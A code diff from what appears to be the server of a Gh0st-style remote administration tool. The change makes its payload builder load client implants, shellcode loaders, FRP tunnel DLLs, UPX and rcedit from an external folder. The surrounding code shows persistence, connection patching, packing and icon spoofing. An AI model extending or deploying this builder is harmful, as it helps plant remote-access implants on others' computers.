diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f48064a..bcf9b56 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -397,7 +397,7 @@ DllInfo* ReadTinyRunDll(int pid) { std::string name = TINY_DLL_NAME; DWORD fileSize = 0; - BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize); + BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize, ResFileName::TINYRUN_X64); std::string s(skCrypt(FLAG_FINDEN)), ip, port; int offset = MemoryFind((char*)dllData, s.c_str(), fileSize, s.length()); if (offset != -1) { @@ -433,7 +433,7 @@ DllInfo* ReadFrpcDll(int callType) { std::string name = FRPC_DLL_NAME; DWORD fileSize = 0; - BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize); + BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize, ResFileName::FRPC_DLL); // 设置输出参数 auto md5 = CalcMD5FromBytes(dllData, fileSize); DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)}; @@ -1862,7 +1862,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } if (strlen(v->Admin) && v->Port > 0) { DWORD size = 0; - LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size); + LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size, + sizeof(void*) == 8 ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86); if (data) { int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN)); if (offset != -1) { @@ -2212,7 +2213,7 @@ void CMy2015RemoteDlg::InitFrpClients() // 加载 FRP DLL(只加载一次) DWORD size = 0; - LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size); + LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size, ResFileName::FRPC_DLL); if (frpcData == nullptr) { Mprintf("[FRP] Failed to read FRP DLL\n"); return; @@ -2301,7 +2302,7 @@ bool CMy2015RemoteDlg::InitLocalFrpsServer() // 加载 FRPS DLL DWORD size = 0; - LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size); + LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size, ResFileName::FRPS_DLL); if (frpsData == nullptr) { Mprintf("[FRPS] Failed to read FRPS DLL from resource\n"); return false; @@ -2634,7 +2635,7 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg) // 加载 FRP DLL(复用现有的 m_hFrpDll,如果还没加载则加载) if (!m_hFrpDll) { DWORD size = 0; - LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size); + LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size, ResFileName::FRPC_DLL); if (frpcData == nullptr) { Mprintf("[FRP-Auto] 读取 FRP DLL 资源失败\n"); return; @@ -3221,13 +3222,13 @@ void CMy2015RemoteDlg::UpdateStatusBarStats() } else if (m_settings.UsingFRPProxy) { strFrpDisplay.Format(_T("%s:%d"), THIS_CFG.GetStr("settings", "master").c_str(), - THIS_CFG.Get1Int("settings", "ghost", 6543)); + THIS_CFG.Get1Int("settings", "ghost", ';', 6543)); } else if (!m_localPublicIP.empty()) { - strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543)); + strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543)); } else { - strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543)); + strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543)); } } // 根据是否有内容设置分区宽度 @@ -3678,11 +3679,11 @@ void CMy2015RemoteDlg::OnOnlineMessage() } // 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程 -BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, int iType, int iStartup, +BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup, const std::string& dir, const std::string& name, int cmd, int sizeofSize) { DWORD dwFileSize = 0; - BYTE* szBuffer = ReadResource(resourceId, dwFileSize); + BYTE* szBuffer = ReadResource(resourceId, dwFileSize, resName); outSize = dwFileSize; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN }; char* pSearchStart = (char*)szBuffer; @@ -3753,8 +3754,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate() std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString(); std::string stem = path.stem().string(); std::string dirName = path.parent_path().filename().string(); + const char* resName = dlg.m_nSelected + ? (is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86) + : (is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86); buffer = ReadExeFromResource(dwFileSize, dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) : - (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL, + (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), resName, dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL, dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc, dirName, stem, COMMAND_UPDATE, 8); fileSize = dwFileSize; } else if (clientType == "DLL") { @@ -6730,7 +6734,7 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) std::string ReleaseUPX() { - return ReleaseEXE(IDR_BINARY_UPX, "upx.exe"); + return ReleaseEXE(IDR_BINARY_UPX, "upx.exe", ResFileName::UPX_EXE); } // 解压UPX对当前应用程序进行操作 @@ -8085,8 +8089,8 @@ void CMy2015RemoteDlg::OnExecuteUpload() void CMy2015RemoteDlg::OnExecuteTestrun() { DWORD dwSize = 0; - BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, CLIENT_TYPE_ONE, Startup_TestRunMsc, - "YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4); + BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, ResFileName::TESTRUN_X64, + CLIENT_TYPE_ONE, Startup_TestRunMsc, "YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4); if (buffer && dwSize > 0) { SendSelectedCommand(buffer, 5 + dwSize); delete[] buffer; @@ -8098,8 +8102,8 @@ void CMy2015RemoteDlg::OnExecuteTestrun() void CMy2015RemoteDlg::OnExecuteGhost() { DWORD dwSize = 0; - BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, CLIENT_TYPE_ONE, Startup_GhostMsc, - "YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4); + BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, ResFileName::GHOST_X64, + CLIENT_TYPE_ONE, Startup_GhostMsc, "YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4); if (buffer && dwSize > 0) { SendSelectedCommand(buffer, 5 + dwSize); delete[] buffer; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 9acf32c..a5d2ec6 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -10,6 +10,8 @@ #include "InputDlg.h" #include #include +#include +#pragma comment(lib, "Shlwapi.lib") #include "Resource.h" extern "C" { #include "client/reg_startup.h" @@ -49,11 +51,66 @@ std::string GetPwdHash(); int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); -LPBYTE ReadResource(int resourceId, DWORD &dwSize) +// 获取程序目录下 res 子目录的路径 +static CString GetResDirectoryPath() +{ + TCHAR szPath[MAX_PATH]; + GetModuleFileName(NULL, szPath, MAX_PATH); + PathRemoveFileSpec(szPath); + PathAppend(szPath, _T("res")); + return CString(szPath); +} + +// 从外部文件读取资源(优先级高于内嵌资源) +static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize) +{ + if (!resName || !resName[0]) { + return NULL; + } + + CString resDir = GetResDirectoryPath(); + CString filePath; + filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName); + + // 检查文件是否存在 + if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) { + return NULL; + } + + // 打开文件 + HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return NULL; + } + + // 获取文件大小 + LARGE_INTEGER fileSize; + if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) { + CloseHandle(hFile); + return NULL; + } + + // 分配内存并读取文件 + dwSize = (DWORD)fileSize.QuadPart; + LPBYTE buffer = new BYTE[dwSize]; + DWORD bytesRead = 0; + if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) { + delete[] buffer; + CloseHandle(hFile); + dwSize = 0; + return NULL; + } + + CloseHandle(hFile); + return buffer; +} + +// 从内嵌资源读取 +static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize) { dwSize = 0; - auto id = resourceId; - HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY"); + HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY"); if (hResource == NULL) { return NULL; } @@ -76,6 +133,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize) return r; } +// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源 +// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源 +LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName) +{ + dwSize = 0; + + // 1. 优先尝试从 res 目录读取外部文件 + if (resName && resName[0]) { + LPBYTE data = ReadResourceFromFile(resName, dwSize); + if (data) { + return data; + } + } + + // 2. 回退到内嵌资源 + return ReadResourceFromEmbedded(resourceId, dwSize); +} + +// ========== res 目录外部资源文件名定义 ========== +// 命名规范:<模块名>_<架构>.exe/.dll/.bin +// 架构:x86 / x64 / linux / macos +namespace ResFileName { + // Ghost 主程序 + const char* GHOST_X86 = "ghost_x86.exe"; + const char* GHOST_X64 = "ghost_x64.exe"; + const char* GHOST_LINUX = "ghost_linux"; + const char* GHOST_MACOS = "ghost_macos"; // 预留 + // TestRun 加载器 + const char* TESTRUN_X86 = "testrun_x86.dll"; + const char* TESTRUN_X64 = "testrun_x64.dll"; + // ServerDll + const char* SERVERDLL_X86 = "serverdll_x86.dll"; + const char* SERVERDLL_X64 = "serverdll_x64.dll"; + // TinyRun + const char* TINYRUN_X86 = "tinyrun_x86.exe"; + const char* TINYRUN_X64 = "tinyrun_x64.exe"; + // SCLoader (Shellcode加载器) + const char* SCLOADER_X86 = "scloader_x86.bin"; + const char* SCLOADER_X64 = "scloader_x64.bin"; + const char* SCLOADER_X86_OLD = "scloader_old_x86.bin"; + const char* SCLOADER_X64_OLD = "scloader_old_x64.bin"; + // FRP 相关 (无架构区分,64位DLL) + const char* FRPC_DLL = "frpc.dll"; + const char* FRPS_DLL = "frps.dll"; + // 工具 + const char* UPX_EXE = "upx.exe"; + const char* RCEDIT_EXE = "rcedit.exe"; +} CString GenerateRandomName(int nLength) { @@ -180,10 +285,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0); -std::string ReleaseEXE(int resID, const char* name) +std::string ReleaseEXE(int resID, const char* name, const char* resName) { DWORD dwSize = 0; - LPBYTE data = ReadResource(resID, dwSize); + LPBYTE data = ReadResource(resID, dwSize, resName); if (!data) return ""; @@ -329,42 +434,48 @@ void CBuildDlg::OnBnClickedOk() startup = std::map { {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC}, } [index]; - szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize, + is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86); break; case IndexGhost: file = "ghost.exe"; targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); typ = CLIENT_TYPE_ONE; - szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, + is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86); break; case IndexGhostMsc: file = "ghost.exe"; targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); typ = CLIENT_TYPE_ONE; startup = Startup_GhostMsc; - szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, + is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86); break; case IndexTestRunMsc: file = "TestRun.exe"; targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); typ = CLIENT_TYPE_MEMDLL; startup = Startup_TestRunMsc; - szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize, + is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86); break; case IndexServerDll: file = "ServerDll.dll"; typ = CLIENT_TYPE_DLL; - szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize, + is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86); break; case IndexTinyRun: file = "TinyRun.dll"; typ = CLIENT_TYPE_SHELLCODE; - szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize); + szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize, + is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86); break; case IndexLinuxGhost: file = "ghost"; typ = CLIENT_TYPE_LINUX; - szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize); + szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX); break; case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); @@ -470,7 +581,8 @@ void CBuildDlg::OnBnClickedOk() } else { if (sel == CLIENT_COMPRESS_SC_AES) { DWORD dwSize = 0; - LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize); + LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize, + is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86); if (data) { int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen()); if (iOffset != -1) { @@ -534,7 +646,8 @@ void CBuildDlg::OnBnClickedOk() } else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本 sel == CLIENT_COMP_SC_AES_OLD_UPX) { DWORD dwSize = 0; - LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize); + LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize, + is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD); if (data) { int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen()); if (iOffset != -1) { diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index b2ab4cb..6858a98 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -3,9 +3,42 @@ #include "Buffer.h" #include "LangManager.h" -LPBYTE ReadResource(int resourceId, DWORD& dwSize); +// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源 +// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源 +LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr); -std::string ReleaseEXE(int resID, const char* name); +std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr); + +// ========== res 目录外部资源文件名定义 ========== +// 命名规范:<模块名>_<架构>.exe/.dll/.bin +// 架构:x86 / x64 / linux / macos +namespace ResFileName { + // Ghost 主程序 + extern const char* GHOST_X86; + extern const char* GHOST_X64; + extern const char* GHOST_LINUX; + extern const char* GHOST_MACOS; // 预留 + // TestRun 加载器 + extern const char* TESTRUN_X86; + extern const char* TESTRUN_X64; + // ServerDll + extern const char* SERVERDLL_X86; + extern const char* SERVERDLL_X64; + // TinyRun + extern const char* TINYRUN_X86; + extern const char* TINYRUN_X64; + // SCLoader (Shellcode加载器) + extern const char* SCLOADER_X86; + extern const char* SCLOADER_X64; + extern const char* SCLOADER_X86_OLD; + extern const char* SCLOADER_X64_OLD; + // FRP 相关 (无架构区分,64位DLL) + extern const char* FRPC_DLL; + extern const char* FRPS_DLL; + // 工具 + extern const char* UPX_EXE; + extern const char* RCEDIT_EXE; +} CString BuildPayloadUrl(const char* ip, const char* name); diff --git a/server/2015Remote/CRcEditDlg.cpp b/server/2015Remote/CRcEditDlg.cpp index 26ec9c0..b6bedc9 100644 --- a/server/2015Remote/CRcEditDlg.cpp +++ b/server/2015Remote/CRcEditDlg.cpp @@ -5,6 +5,7 @@ #include "CRcEditDlg.h" #include "afxdialogex.h" #include "Resource.h" +#include "BuildDlg.h" // CRcEditDlg 对话框 @@ -78,10 +79,9 @@ void CRcEditDlg::OnOK() MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION); return; } - std::string ReleaseEXE(int resID, const char* name); int run_cmd(std::string cmdLine); - std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe"); + std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe", ResFileName::RCEDIT_EXE); if (rcedit.empty()) { MessageBoxL("解压程序失败,无法操作PE!", "提示", MB_ICONINFORMATION); return;